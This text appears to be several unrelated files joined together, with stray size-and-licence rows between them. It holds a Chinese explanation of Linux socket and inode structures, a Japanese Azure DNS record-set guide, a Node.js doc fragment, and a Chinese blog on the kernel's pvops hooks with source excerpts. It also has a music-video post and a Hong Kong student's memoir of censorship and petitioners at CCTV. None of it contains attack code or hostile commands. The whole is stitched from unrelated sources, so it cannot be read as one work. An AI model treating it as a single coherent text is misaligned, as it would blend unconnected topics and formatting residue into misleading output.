当然，socket 是一个文件，不同于一开始，我们现在可以从进程到 inode 都有一个非常正确的认知，不过，我们还需要继续思考，socket 又是如何与 inode 联系起来的？
答案要回到我们最初的调用 `int socket(...)` 中，最终这个函数会调用 `sock_alloc_inode(...)` 来创建 inode，[sock\_alloc\_inode](https://github.com/torvalds/linux/blob/9a76aba02a37718242d7cdc294f0a3901928aa57/net/socket.c)（net/socket.c）中我们关心的代码如下：
```c
static struct inode *sock_alloc_inode(struct super_block *sb)
{ // Linux 是大括号换行党 ==!
struct socket_alloc *ei;
// ...
ei = kmem_cache_alloc(sock_inode_cachep, GFP_KERNEL);
// ...
return &ei->vfs_inode;
};
```
看代码发现，虽然这个函数是要创建 inode，实际上函数里却创建了 `socket_alloc` 结构，[socket_alloc](https://github.com/torvalds/linux/blob/master/include/net/sock.h)（include/net/sock.h）：
```c
struct socket_alloc {
struct socket socket;
struct inode vfs_inode;
};
```
继续看看 [socket](https://github.com/torvalds/linux/blob/master/include/linux/net.h)（include/linux/net.h）结构：
```c
struct socket {
socket_state state;
short type;
unsigned long flags;
struct socket_wq *wq;
struct file *file;
struct sock *sk;
const struct proto_ops *ops;
};
```
现在看到 `proto_ops` 想必不会疑惑了，来看看在 `socket` 这个结构上，定义了哪些函数指针：
```c
struct proto_ops {
int family;
int (*bind) (struct socket *sock,
struct sockaddr *myaddr,
int sockaddr_len);
int (*connect) (struct socket *sock,
struct sockaddr *vaddr,
int sockaddr_len, int flags);
int (*accept) (struct socket *sock,
struct socket *newsock, int flags, bool kern);
__poll_t (*poll) (struct file *file, struct socket *sock,
struct poll_table_struct *wait);
int (*listen) (struct socket *sock, int len);
int (*shutdown) (struct socket *sock, int flags);
// ....
};
```
嗯。。。至少这些函数看起来就非常熟悉了。
另外，`socket` 结构中，另一个重要结构是 `sock`，下面把 [sock](https://github.com/torvalds/linux/blob/master/include/net/sock.h)（include/net/sock.h)感兴趣的字段列出来：
```c
// sock 结构非常复杂，贯穿各层
struct sock {
// 待读包队列
struct sk_buff_head sk_receive_queue;
// receive buffer size
int sk_rcvbuf;
// send buffer size
int sk_sndbuf;
// 待写包队列
struct sk_buff_head sk_write_queue;
// ...
};
```
其中，sk_buff 是网络数据报在内核中的表现形式。不过我们不再往下探究了。
剩下的最后一个问题就是，内核又是如何通过 inode 获得对应的 socket 的呢?
答案在 [SOCKET_I](https://github.com/torvalds/linux/blob/master/include/net/sock.h)（include/net/sock.h）这个函数里：
```c
static inline struct socket *SOCKET_I(struct inode *inode)
{
return &container_of(inode, struct socket_alloc, vfs_inode)->socket;
}
```
终于，socket 与 Linux 文件系统的关系，已经了然于胸。 | 7,105 | MIT |
---
title: "Azure Portal を使用して DNS ゾーンのレコード セットとレコードを作成する | Microsoft Docs"
description: "Azure DNS のホスト レコードを作成する方法と、Azure ポータルを使用してレコード セットとレコードを作成する方法について説明します。"
services: dns
documentationcenter: na
author: georgewallace
manager: timlt
editor:
tags: azure-resource-manager
ms.assetid: f93905f4-e82e-45db-b490-878d318e6aba
ms.service: dns
ms.devlang: na
ms.topic: article
ms.tgt_pltfrm: na
ms.workload: infrastructure-services
ms.date: 08/16/2016
ms.author: gwallace
translationtype: Human Translation
ms.sourcegitcommit: 42d47741e414b2de177f1fd75b3e1ac3fde96579
ms.openlocfilehash: 194da45bade88c2866aaf6066d312d125f1ac2cb
---
# <a name="create-dns-record-sets-and-records-by-using-the-azure-portal"></a>Azure ポータルを使用した DNS レコード セットとレコードの作成
> [!div class="op_single_selector"]
> * [Azure ポータル](dns-getstarted-create-recordset-portal.md)
> * [PowerShell](dns-getstarted-create-recordset.md)
> * [Azure CLI](dns-getstarted-create-recordset-cli.md)
この記事では、Azure ポータルを使用してレコードとレコード セットを作成する手順を説明します。 DNS ゾーンを作成した後は、ドメインの DNS レコードを追加します。 そのために、まずは DNS レコードとレコード セットについて理解することが必要です。
[!INCLUDE [dns-about-records-include](../../includes/dns-about-records-include.md)]
## <a name="create-a-record-set-and-record"></a>レコード セットとレコードの作成
次の例では、Azure ポータルを使用してレコードとレコード セットを作成する手順を説明します。 ここでは DNS "A" レコードを使用します。
1. ポータルにサインインします。
2. レコード セットを作成する **DNS ゾーン** のブレードに移動します。
3. **[DNS ゾーン]** ブレードの上部にある **[レコード セット]** を選択して **[レコード セットの追加]** ブレードを開きます。
4. **[レコード セットの追加]** ブレードで、レコード セットの名前を入力します (例: "**www**")。
![[レコード セットの追加]](./media/dns-getstarted-create-recordset-portal/addrecordset500.png)
5. 作成するレコードの種類を選択します。 たとえば、 **[A]**を選択します。
6. **TTL**を設定します。 ポータルの既定の有効期間は、1 時間です。
7. IP アドレスを 1 行に 1 つずつ追加します。 上記のレコード セット名とレコードの種類を使用すると、www レコード セットの **A** レコードに IPv4 IP アドレスが追加されます。
8. IP アドレスの追加が完了したら、ブレードの下部にある **[OK]** を選択します。 これで、DNS レコード セットが作成されます。
## <a name="next-steps"></a>次のステップ
レコード セットとレコードを管理する方法については、 [Azure ポータルを使用した DNS レコードとレコード セットの管理](dns-operations-recordsets-portal.md)に関するページを参照してください。
Azure DNS の詳細については、「 [Azure DNS の概要](dns-overview.md)」を参照してください。
<!--HONumber=Nov16_HO3--> | 2,229 | CC-BY-3.0 |
<!-- YAML
added: v12.12.0
-->
同步地关闭目录的底层资源句柄。
随后的读取将会导致错误。 | 62 | CC-BY-4.0 |
CSysSec注： 本文来自Diting0x的个人博客，讲述在虚拟化平台下如何利用PVOPS框架来hook内核
转载本文请务必注明，文章出处：《[Hook内核之PVOPS](http://www.csyssec.org/20170301/pvops/)》与作者信息：Diting0x
pvops是做什么的？ 简单地说，hook kernel.
利用pvops你可以自定义自己的write_cr3函数，你可以修改页表，追踪页表更新的信息，而这些听起来非常底层的操作，利用pvops都变得简单起来。
pvops接口来源于Xen项目，初衷是建立一个类虚拟化(para-virtualized）内核来适应于不同的hypervisor，当然也包括适应于非虚拟化平台。
pvops将类虚拟化操作分成一系列结构：`pv_time_ops`,`pv_cpu_ops`,`pv_mmu_ops`,`pv_lock_ops`和`pv_irq_ops`。
举个例子，x86系统中利用`MOV CR3` 指令来加载页表。pvops将其替换为一个间接跳转到 `pv_mmu_ops -> write_cr3`函数。 每种虚拟化系统，包括本地x86平台，对这些函数都有自己的实现。 对于x86平台，这些函数的实现只是简单地对原始函数指令的封装。比如对于`pv_mmu_ops -> write_cr3` 函数，x86平台的具体实现为`native_write_cr3` 函数：
``` c
static inline void native_write_cr3(unsigned long val)
{
asm volatile("mov %0,%%cr3": : "r" (val), "m" (__force_order));
}
```
pvops将本地底层的硬件指令通过pv_xxx_ops结构体替换为间接跳转函数。下面以`pv_mmu_ops`为例，详细分析其内部结构，`pv_mmu_ops`的定义为：(文中列出主要部分，完整定义，可参看[pv_mmu_ops](http://lxr.free-electrons.com/source/arch/x86/kernel/paravirt.c#L395) 结构定义）
``` c
struct pv_mmu_ops {
unsigned long (*read_cr2)(void);
void (*write_cr2)(unsigned long);
unsigned long (*read_cr3)(void);
void (*write_cr3)(unsigned long);
/*
* Hooks for intercepting the creation/use/destruction of an
* mm_struct.
*/
void (*activate_mm)(struct mm_struct *prev,
struct mm_struct *next);
void (*dup_mmap)(struct mm_struct *oldmm,
struct mm_struct *mm);
void (*exit_mmap)(struct mm_struct *mm);
/* TLB operations */
void (*flush_tlb_user)(void);
void (*flush_tlb_kernel)(void);
void (*flush_tlb_single)(unsigned long addr);
void (*flush_tlb_others)(const struct cpumask *cpus,
struct mm_struct *mm,
unsigned long start,
unsigned long end);
/* Hooks for allocating and freeing a pagetable top-level */
int (*pgd_alloc)(struct mm_struct *mm);
void (*pgd_free)(struct mm_struct *mm, pgd_t *pgd);
/*
* Hooks for allocating/releasing pagetable pages when they're
* attached to a pagetable
*/
void (*alloc_pte)(struct mm_struct *mm, unsigned long pfn);
void (*alloc_pmd)(struct mm_struct *mm, unsigned long pfn);
void (*alloc_pud)(struct mm_struct *mm, unsigned long pfn);
void (*release_pte)(unsigned long pfn);
void (*release_pmd)(unsigned long pfn);
void (*release_pud)(unsigned long pfn);
/* Pagetable manipulation functions */
void (*set_pte)(pte_t *ptep, pte_t pteval);
void (*set_pte_at)(struct mm_struct *mm, unsigned long addr,
pte_t *ptep, pte_t pteval);
void (*set_pmd)(pmd_t *pmdp, pmd_t pmdval);
void (*set_pmd_at)(struct mm_struct *mm, unsigned long addr,
pmd_t *pmdp, pmd_t pmdval);
void (*pte_update)(struct mm_struct *mm, unsigned long addr,
pte_t *ptep);
}
```
比如说你要在分配页表项的时候hook (`write_cr3`)函数, 可以将(`write_cr3`)函数赋值为自己的自定义函数。 默认情况下，内核中pvops框架中提供的自定义函数如下： (完整可参看 [pv_mmu_ops](http://lxr.free-electrons.com/source/arch/x86/kernel/paravirt.c#L395) 函数定义)
``` c
struct pv_mmu_ops pv_mmu_ops {
.read_cr2 = native_read_cr2,
.write_cr2 = native_write_cr2,
.read_cr3 = native_read_cr3,
.write_cr3 = native_write_cr3,
.alloc_pte = paravirt_nop,
.alloc_pmd = paravirt_nop,
.alloc_pud = paravirt_nop,
.release_pte = paravirt_nop,
.release_pmd = paravirt_nop,
.release_pud = paravirt_nop,
.set_pte = native_set_pte,
.set_pte_at = native_set_pte_at,
.set_pmd = native_set_pmd,
.set_pmd_at = native_set_pmd_at,
.pte_update = paravirt_nop,
}
```
接着定义的函数会被传入到这里：
``` c
static inline void write_cr3(struct mm_struct *mm, unsigned long pfn)
{
PVOP_VCALL2(pv_mmu_ops.write_cr3, mm, pfn);
}
```
至于`PVOP_VCALL2` 具体做了什么，可以不必去关心。 | 4,122 | MIT |
---
title: 《陪你度过漫长岁月》
date: 2019-10-20 12:20:38
categories:
- 视频
tags:
- MV
thumbnail: https://cdn.chenyifaer.com/videos/IMG_7465.JPG
---
如有遗漏或侵权，微博私信@<a href="https://weibo.com/kjxbyz" target="_blank">科技小白英仔</a>或<a href="mailto:me@chenyifaer.com" target="_blank">发送邮件</a>
<!--more-->
{% aplayerlist %}
{
"narrow": false,
"autoplay": false,
"theme": "#e6d0b2",
"listmaxheight": "513px",
"music": [
{
"title": "陪你度过漫长岁月",
"author": "小橘猫",
"url": "https://cdn.chenyifaer.com/videos/小橘猫-陪你度过漫长岁月.wav",
"pic": "https://cdn.chenyifaer.com/cover/cover.jpg"
}
]
}
{% endaplayerlist %} | 796 | MIT |
---
layout: post
title: "我在CCTV的那些日子"
date: 2015-03-06T10:03:26+01:00
author: Wiki
from: https://pao-pao.net/article/376
tags: [ 泡泡 ]
categories: [ 泡泡 ]
---
<section class="clearfix" id="content" role="main">
<div class="region region-content">
<div class="block block-system" id="block-system-main">
<div class="content">
<div about="/article/376" class="node node-pao-pao-article node-promoted node-full view-mode-full clearfix" id="node-376" typeof="sioc:Item foaf:Document">
<span class="rdf-meta element-hidden" content="我在CCTV的那些日子" property="dc:title">
</span>
<span class="rdf-meta element-hidden" content="1313" datatype="xsd:integer" property="sioc:num_replies">
</span>
<div class="submitted">
<span content="2015-03-06T10:03:26+01:00" datatype="xsd:dateTime" property="dc:date dc:created" rel="sioc:has_creator">
<a about="/author/955" class="username" datatype="" href="/author/955" property="foaf:name" title="查看用户资料" typeof="sioc:UserAccount" xml:lang="">
Wiki
</a>
在 星期五, 03/06/2015 - 10:03 提交
</span>
</div>
<div class="content">
<div class="field field-name-field-image field-type-image field-label-hidden">
<div class="field-items">
<div class="field-item even">
<div class="file file-image file-image-jpeg" id="file-1025--2">
<h2 class="element-invisible">
<a href="/file/1025">
ai_wei_wei_.jpg
</a>
</h2>
<div class="content">
<img alt="" height="164" src="https://pao-pao.net/sites/pao-pao.net/files/styles/article_detail/public/ai_wei_wei_.jpg?itok=9E2QOICJ" title="" typeof="foaf:Image" width="290"/>
<div class="field field-name-field-image-source field-type-link-field field-label-hidden">
<div class="field-items">
<div class="field-item even">
<a href="https://www.boxun.com/news/images/2014/09/201409161221china2.jpg">
图片来源：微博
</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="field field-name-title field-type-ds field-label-hidden">
<div class="field-items">
<div class="field-item even" property="dc:title">
<h1 class="page-title">
我在CCTV的那些日子
</h1>
</div>
</div>
</div>
<div class="field-name-author">
<div class="label-inline">
文/
</div>
<a about="/author/955" class="username" datatype="" href="/author/955" property="foaf:name" title="查看用户资料" typeof="sioc:UserAccount" xml:lang="">
Wiki
</a>
</div>
<div class="field field-name-body field-type-text-with-summary field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<em>
【编者按】Wiki是一位来自香港的新闻系学生，他利用假期在中央电视台进行了两个月的实习。受过多年新闻教育的他，如何感受大陆的媒体审查机制？他写下了自己的经历和感受，本文首发于
<a href="http://www.inmediahk.net/node/1031603" rel="nofollow">
香港独立媒体
</a>
。
</em>
</p>
<p>
一直想分享在cctv的那段日子，让更多人知道这个机构的情况，虽然我只是在综艺频道工作，但多少折射到这个机器下的某些人事，太多细碎的事和话，未能尽录，但我永远不会忘记这个特别的经历。
</p>
<p>
<strong>
抵埗
</strong>
</p>
<p>
刚抵埗北京，中央电视台的职员便告知我被安排到综艺频道实习，确实的栏目则未定。坦白说，当时我感到非常失望，因为我原本申请的是新闻频道，亦一心抱着观察内地新闻运作的目标来到北京，对于被分派到综艺频道这个安排，实在是始料不及。后来，我被分派到一个综艺栏目担任导演助理，主要跟随节目导演组工作。
</p>
<p>
由于我与另一位来自树仁新传的同学，对于分配频道的安排都非常失望，因此我们多番与人力资源部沟通，希望可以调换频道。起初中央电视台方并不允许调换申请，理由是我们不熟悉内地事务，以及新闻频道位处“新台”，怕我们长途跋涉会有危险等。后来，港澳办人员介入周旋，中央电视台终于答应将我们调派到〈中文国际频道〉。然而，人事部解释进入“新台”的手续严谨，必须要经领导审批才可取得入台证，需时甚久，着我们耐心等待。最后，我们等到实习完结的那天，都未获批该入台证，换言之我便在综艺频道完成了两个月的实习期。
</p>
<p>
这趟申请调配频道的风波，虽看似与实习经验无关，却侧面折射出内地媒体运作的作风：
</p>
<p>
第一，安全监察极其严密。任何人要进入电视台范围必须持有入台证，而入台证的申请手续非常繁複，需经多重审批，包括申报详细个人资料、撰写入台报告、领导逐一批核等。加以，电视台入口有个武警把守，逐一查证进出人士，没有入台证的人是绝对不可能进内的。
</p>
<p>
第二，不信任外地新闻实习生。申请过程中，人事部人员一直推搪说不能调动，理由是怕我地长途跋涉会有危险，故不希望将我们安排到位于新台的新闻频道。但事实上，新台与我所住的宿舍之间，只是半小时的地铁车程，而且中途无需转车即可直达，可见其“担心”是不合理的。我们推测，更重要的原因是因为我们来自香港，故不便进入新闻部工作。后来我跟一位同事谈到这个问题，他亦爽快地说：“算了吧，以你的身份是不可能进入新闻部的，中央电视台有太多秘密了。”
</p>
<p>
第三，行政系统僵化。我们多次向人事部职员提出调配部门的意愿，但对方却一直以各种理由推塘和拖延，并没诚意进行沟通。直至后来港澳办介入，事情才有转机。
</p>
<p>
这次可说是我第一次感受到内地媒体的严密与封闭，内地政府的确是极其小心地保护国内媒体，行外人是不可能接触到内部的资讯，甚至连踏足电视台范围亦不可能。至于对频道的安排，我虽然失望，但是后来慢慢想清楚，又觉得即使处于综艺频道，我仍然可以从另一个角度去观察这个媒体的生态和运作，于是我便慢慢开始投入和尝试享受我的工作。
</p>
<p>
<strong>
工作和观察
</strong>
</p>
<p>
两个月的实习期里，我都是在同一个栏目组中渡过的。这个节目的主要性质是“向艺术家致敬”，其实即是邀请一些有名的歌手、演员上台到场表演，再搭配一些新晋艺人、表演者或“具启发性的普通人”（即是某励志故事的主人公），从而达到新人向旧人致敬，以及娱乐观众的目的。栏目组共有八位导演，包括一位总编辑，另外还有其他工作人员共十多名；节目每月录影一次，每次录製六至七集，每位导演负责一至两集，每月录影期为三至四日。
</p>
<p>
因此，除去那几天的录影期之外，其余时间我都是留在办公室，主要工作是跟随导演开会，商讨嘉宾选角和节目安排。总编辑安排一位年轻导演作为我的实习导师，由她为我安排工作。然而，由于我不太熟悉内地艺人和内地节目模式，因此起初的大部分时间裡，我都是处于一个被动的观察角色，希望能在最短的时间内了解节目的要求和团队运作。
</p>
<p>
我发现，导演们每星期只有两至三天会待在办公室，其馀时间便会留在家中构思节目内容和联络嘉宾，只有开会的日子才会回办公室，向总编辑报告他们的构思和进度。当导演们回来开会时，我便会坐在一边仔细观察，慢慢我发现他们请来节目的嘉宾来来去去都是那几位，而且都有一些共通点：所有嘉宾必须“政治正确”、超过一半以上的所谓艺术家都是共产党员、节目中唱的歌都是我们口中所说的“红歌”……因此，可以选择的人真的非常有限，难怪节目收视持续下降，因为根本没有新鲜感，节目模式又那麽单一，又如何能吸引观众呢？一位导演曾经抱怨道做节目真的很难，他说：“为什么一个国家电视台，那麽多人都不能用呢？”其实他和其他人一样，心底里都知道答桉，但还是忍不住抱怨。
</p>
<p>
后来，当我渐熟悉情况后，导演开始安排我上网找一些艺人的资料和构思访问内容，过程其实是颇吃力的，因为我要在极短时间内对一个完全陌生的人“起底”，然后再构思他／她有什么与众不同的呈现角度。在我上网搜索那些艺人的过程中，我更加深深感受到内容审查对于节目创作的影响有多大，因为任我在百度上反覆翻查，“合规格”的艺人实在少之又少，尤其内地那些“德高望重”的艺术家绝大部分都是有共产党背景的，作品中亦渗透了极多歌颂政权的内容。那时侯，其实我的心挣扎得很厉害，因为我不愿成为宣传政权的工具，但偏偏我的工作岗位又要求我这样做，那些我最不情愿看到的内容，正正是电视台最渴求的。后来，我仍是坚持了那条不可跨越的原则，同时做了一些折衷：一、我尽量推荐那些有名气、内地官方可接受，但与政权关系不那么密切的艺人。二、我推荐一些与政权关系密切的艺人，但是发掘他们非政治化的一面作为节目呈现角度，例如他们与家人的关系。
</p>
<p>
除了节目选材外，另外一个使我印象最深刻的观察，便是同事的工作气氛和态度。来中央电视台之前，我本以为那里的工作环境是极之严格和高压的，但是我观察到的情况恰好相反。我发现他们的工作态度颇为懒散随意，而且心态轻送，并不如想像中紧绷，可体现于以下几点：
</p>
<p>
一、录影完后的一个星期，导演们都不会回办公室。
</p>
<p>
二、导演组不在办公室的时侯，其他人几乎没什么工作可以做，因此他们会找活动来消磨时间，例如上网看娱乐新闻、看小说、玩“斗地主”等。
</p>
<p>
三、他们每个星期四下午，都会去附近的室内运动场打羽毛球，费用由单位支付。做完运动后会提早解散，各自回家。
</p>
<p>
四、节目的收视一直下滑，频道主管提出若情况持续，便会停播节目。但是，他们对此好像不甚在意，只是开了一次会商讨对策，但是仍然沿用旧有节目模式。
</p>
<p>
五、电视台对实习生没有一套完整的训练计划，只是很随心地安排工作内容。而且实习生人数似乎没有上限，在我实习的两个月内，便先后来了五个实习生，但都是投闲置散、没有工作。
</p>
<p>
我思索了好一阵子，认为造成以上情况的原因有三：第一，因为这是综艺频道，而且我所在的节目不是重点节目，因此工作压力较小。第二，由于一个月只录一次影，所以工作编排不算紧密，较为轻松。第三，工作地点的因素。这裡要补充一下，其实这个节目的办公室并不在中央电视台的范围内，而是位于台址旁边的“梅地亚中心”，进出无需出示入台证，保安相对宽松得多。
</p>
<p>
由此可见，中央电视台综艺频道的组织工作并不如想像中严谨，甚至可以说散漫和不思进取，但是大多抱着不求有功、但求无过的心态，只要完成自己岗位的工作就可以了，不求改善节目质素。对于实习生，正如上面提及，电视台根本没有一套训练机制，只是随心安排一些很琐碎的工作，例如上网找嘉宾照片、帮忙下载电影片段、冲咖啡等，说真的，能从中学习的空间很小。加上，实习生人数不设限，而且没有一套官方的收生机制，我与另外三个实习生聊天时，才发现他们都是依靠人际关系而得以进台工作的，而且没有签下任何合约之类的文件，人事部甚至不知道他们的存在。我对这种“潜规则”感到十分吃惊，虽早有听闻内地工作极倚重人际关係，但亲身见证时又是另一种滋味，两个月的暑期内，一个总共只有二十多人的栏目，竟然先后请了五个实习生，由他们对实习生投闲置散的作风可以看出，其实栏目根本不需要这些实习生。
</p>
<p>
当我意识到这个现实后，灰心了好一阵子，因为我预视到自己将被投闲置散的事实。然而，我不甘心这样浪费两个月的时间，于是我意识到自己必须极之主动地学习，甚至要厚面皮地争取工作机会。虽然总编辑安排了一位导演作为我的导师，但其实那位导演为我安排的工作少之又少，尤其是开头的几个星期裡，她都只是叫我观察导演们开会的情况，即使去到后来她叫我搜集嘉宾资料，但工作安排都不多。于是，后来我主动要求为导演构思专场的嘉宾人选，向她解释每个人物的可看点，并构想整集节目的流程。我又提出帮她剪辑现场录影的片子，她开始也很惊讶，因为实习生极少会接触到这些后期製作，但是最后也愿意给予我这个机会，耐心地向我解释影片的要求。最后，我也终于有属于自己的作品可以留作纪念，我很感激这位导演。
</p>
<p>
在剪辑节目片子的过程中，我再一次感受到内地严谨的节目审查。一位专责于影片剪辑的年轻同事告诉我：“这（剪片）没有你想像中那麽简单，尤其你是从香港来的，判断不到哪些东西要、哪些不能要。”听了他的话后，我怀着战战兢兢的心情开始投入剪片，幸好我剪的那期节目的内容比较轻松，嘉宾的背景也比较简单，因此剪辑过程尚算顺利。唯一教我印象深刻的，是导演看了我的初稿后，要求我将一段嘉宾提及辛亥革命的说辞剪掉，可能任何有推翻政权意识的东西对内地而言都太过敏感，连国父带领的“革命”亦不例外。
</p>
<p>
<strong>
我与同事的对话数则
</strong>
</p>
<p>
我与北京同事的交流，绝大部分停留于闲聊的层次，例如他们经常问我香港有什么必去的景点、必吃的地道小食等。然而，有几次的对话令我记忆深刻，虽然都十分简短，但足以反映他们的一些价值观。
</p>
<p>
第一次，是我与栏目总编辑的极简短谈话，那天是我工作的第一天，对话如下：
</p>
<p>
总编辑：“你是读什么的？”
</p>
<p>
我：“我是读新闻的。”
</p>
<p>
总编辑：“那你为什么会来综艺频道呢？”
</p>
<p>
我：“这是中央电视台安排的，我原来申请的是新闻频道。”
</p>
<p>
总编辑：“在内地做新闻跟香港很不一样啊，内地太多东西不能说了。”
</p>
<p>
他说最后一句话时，语气很理所当然，但脸上带有几分无奈。后来我从另外一名实习生口中得知，原来他也是大学读新闻出身的，后来辗转来到综艺频道，但并不喜欢中央电视台的工作方式，最近萌生去意。实习朋友说：“我感觉到老师（总编）也曾经是个有理想的人，但是在内地做新闻太难了，他也没办法，只好一直待在综艺频道。”
</p>
<p>
第二次，是我与一位女同事的对话。由于她的丈夫是台湾人，因此她的思想比较开明，政治触觉亦比较灵敏。有一天，她突然问我有关占领中环的事：
</p>
<p>
女同事：“香港人是要搞占领中环吗？为什么呢？”
</p>
<p>
我：“对啊，因为我们要争取普选，而且中央政府在回归时就答应了香港人要‘民主回归’嘛。”
</p>
<p>
女同事：“但你觉得有可能成功吗？”
</p>
<p>
我：“成功的机会很渺小，但也要试试。现在回想，‘一国两制’根本就是个圈套。”
</p>
<p>
女同事：“本来就是圈套嘛，怎麽你们现在才知道呢？香港很快就会变成内地那样的。”
</p>
<p>
她说最后一句话事的语气是带点可惜的，彷彿在感叹港人的天真，竟然中了中国政府的骗局。我不知如何回应，原来内地人对一国两制的“阳谋”，看得比大部分港人还要通透。
</p>
<p>
第三次，是与一位在美国留学的中国实习生的对话。对话发生在节目录影现场，那天刚巧请了两位新彊的小朋友演出，一位土生土长的北京同事突然说：“我最讨厌新彊人！”在场的人大概都猜想到是由于新彊的连串骚动所致，没有人作声回应。
</p>
<p>
然后，我跟那位实习同学开始聊起新彊，然后再谈到台湾和香港。因为她在美国留学了六年，所以思想比较开明，亦颇清楚港台发生的事。当我提到香港近年的情况时，她的回应与那位女同事一样：“一国两制根本就是个骗局。”然后她提到占中：“那是没有可能成功的，对共产党来说香港只是个小地方，不管你怎么搞、怎么闹，它都不会理你的。你看，新彊和西藏闹成这样，不也是老样子吗？”她说内地人普遍的态度都是：“香港人要闹就闹吧，反正也闹不出什么来！”我不知道这是事实，抑或是一种民众的错觉，彷彿香港是一个不值得关心的课题。最后她反问：“你真的觉得占中会成功吗？”我一时语塞，只能回答：“就算不会成功，也至少有努力争取过，总会有一点点效果的。”
</p>
<p>
最后，是与一位内地新闻实习生的对话。她说，原本她的志愿是当记者，所以当初才会选择新闻系，但后来发现在内地做“新闻”有太多制肘，几乎是不可能的。我问她：“难道你当初不知道内地的新闻业是这样的吗？”她说：“我知道，可是我不相信啊！人就是犯贱，总要见识过才会死心。”我问她毕业后有什麽打算，她说她想做休闲杂志的记者。虽然很可惜，但是在这样的环境下成为新闻系学生，我又能怪她什么呢？
</p>
<p>
<strong>
反思
</strong>
</p>
<p>
一直以来，对于中央电视台的立场和报导手法早有听闻，当初我亦是抱着“观察者”的心态来到北京的，希望可以深入这个作为国家最大喉舌的机构，观察它的内部运作。虽然最后我未能如愿进入新闻部门，但是从综艺频道的经验裡，多少也折射到这个系统下的媒体的限制，因此这个经验仍然相当难忘。
</p>
<p>
我清楚记得，在实习第一天，刚好碰上综艺频道主管与该节目组开会的日子，开会的目的是要检讨日渐下滑的收视。会议中，剧组的导演和工作人员提出很多内容上的限制对节目收视的影响，例如很多当红的嘉宾都因为各种理由而不能採用，又或者节目的风格太过拘谨和形式化等。然而，领导并没有正面地回应剧组人员的意见，只是一直强调电视台对于节目製作有严格的规定，不能随意改动。最令我印象深刻的，是他在会议尾声中说的一席话，他说：“既然今天有香港的同胞（指我）在，那我就说直白点。你们要记住，我们是宣传共产党的，不是搞艺术的，所有对共产党不利的东西都不可能播出。”虽然一直都知道中央电视台的“守则”如何，但亲耳听到时，那种赤裸仍令我感得异常震撼。事实上，后来的工作和观察中也印证了这个“使命”，所有节目内容安排都非常“政治正确”。
</p>
<p>
回到香港后，很多人问我在是次北京实习中学到什么，我的回答都是：要视乎你怎样定义“学习”，说真的，其实在实际工作经验上，学到的真的不多；然而，在工作的观察中，我的确感受到很多。最重要的得着，是这次的经历令我更加珍惜香港的媒体自由（相对地），因为我真切地感受到一个资讯被封锁的国度是多麽恐怖，而当传媒成为政权的宣传工具，又是多麽令人心寒。
</p>
<p>
<strong>
后话：北京的上访者
</strong>
</p>
<p>
虽然我不在中央电视台内工作，但是每天上班都会经过电视台东门的入口。实习的两个月裡，每天我都看见一些来自内地不同城市的上访者，在门外求见央视领导，希望中央能正视他们的冤情。其中一位妇人用花布蒙面，手拿着申诉的纸板，每天早上都站在东门入口，直至我离开那天，她仍旧在那。又有一个身穿小丑服的男人，同样写着写满冤情的纸板，任由路过的途人围观，但只出现了数天就没有再见到他了。甚至有位带着女儿的父亲，在央视门外搭起帐蓬，显示非要与央视领导人见面的决心，同样地，这对父女只出现了数天。还有很多不同的上访者，趁央视员工上班和下班的时侯，静坐在门外的行人路上，希望能得到传媒的注视、为他们申冤。
</p>
<p>
我曾经主动与一位来自天津上访者交谈，他告诉我他的父亲在天津被一辆车撞死，报桉时发现原来涉事司机是公安局干部的儿子，非但入罪失败，而且还恐吓他和家人噤声。他的母亲不服，来到中央电视台门外申冤，但是待了两个星期都没有人理会，后来更被天津政府捉去强制拘留，下落不明。于是，他决定接替母亲到央视报桉、求见记者，将事件曝光，还双亲公道。我问他打算留守多久，他说：“等到中央电视台的人来见我。”我听后很难过，因为我知道央视不会理会他，可能他的下场亦与母亲一样，被公安抓回天津，面对不敢想像的刑罚。
</p>
<p>
这时，两位同事刚好经过，二话不说将我拉走，其中一位女孩说：“你不要跟那些人聊天！他们都是疯子，从各地来到北京讨便宜，要是让他知道你在中央电视台工作，一定会纒着你不放，你的麻烦就大了！”我突然被拉走，还未来得及反应，她的这番话的确让我犹豫了，我追问：“那如果是真的呢？中央电视台都不会管吗？”她回答道：“不会理他们的，每天都那麽多人（上访），中央电视台管得了多少？管了一个，就会有更多人跑过来。”我没有回应，因为我明白我说什麽都不能改变她的想法，“正义”、“人权”、“法治”等词语在我们之间都只是空洞的沟通符号，她不会理解我对这些价值的坚持，因为她一直以来都被禁止拥有这些意识。我继续发问：“那中央电视台就一直让他们待在那儿？”她说：“如果他们不闹事的话，就不会管他们，就让他们待着。”我有点意外，一直以为央视会驱赶上访者，但原来对上访者视而不见，才是它一直以来的策略。
</p>
<p>
我们走着走着，发现那位上访者追了过来，他把几张写满冤情的单张塞到我手中，嘱咐我要把他的情况告诉更多人。我接过他的单张，除了说几声“好的好的”之外，也不知还能安慰他什麽，只是感到很心酸。电视台大楼永远守卫森严，大门前的民警没有表情，进出的人们也没有表情，没有人敢为这群上访者驻足半步。至于我，作为这个机器下的一个小小的实习生，除了将那位上访者的故事带回香港、告诉更多人，也不知能为他做些什麽，但愿他与他的母亲平安。
</p>
</div>
</div>
</div>
<div class="field field-name-service-links-displays-group field-type-ds field-label-hidden">
<div class="field-items">
<div class="field-item even">
<div class="service-links">
<a class="service-links-twitter" href="https://twitter.com/share?url=https%3A//pao-pao.net/article/376&text=%E6%88%91%E5%9C%A8CCTV%E7%9A%84%E9%82%A3%E4%BA%9B%E6%97%A5%E5%AD%90" rel="nofollow" title="Share this on Twitter">
<img alt="Twitter logo" src="https://pao-pao.net/sites/pao-pao.net/themes/rnw_paopao/servicelinks/png/twitter.png" typeof="foaf:Image"/>
</a>
<a class="service-links-facebook" href="https://www.facebook.com/sharer.php?u=https%3A//pao-pao.net/article/376&t=%E6%88%91%E5%9C%A8CCTV%E7%9A%84%E9%82%A3%E4%BA%9B%E6%97%A5%E5%AD%90" rel="nofollow" title="Share on Facebook">
<img alt="Facebook logo" src="https://pao-pao.net/sites/pao-pao.net/themes/rnw_paopao/servicelinks/png/facebook.png" typeof="foaf:Image"/>
</a>
<a class="service-links-google" href="https://www.google.com/bookmarks/mark?op=add&bkmk=https%3A//pao-pao.net/article/376&title=%E6%88%91%E5%9C%A8CCTV%E7%9A%84%E9%82%A3%E4%BA%9B%E6%97%A5%E5%AD%90" rel="nofollow" title="Bookmark this post on Google">
<img alt="谷歌 logo" src="https://pao-pao.net/sites/pao-pao.net/themes/rnw_paopao/servicelinks/png/google.png" typeof="foaf:Image"/>
</a>
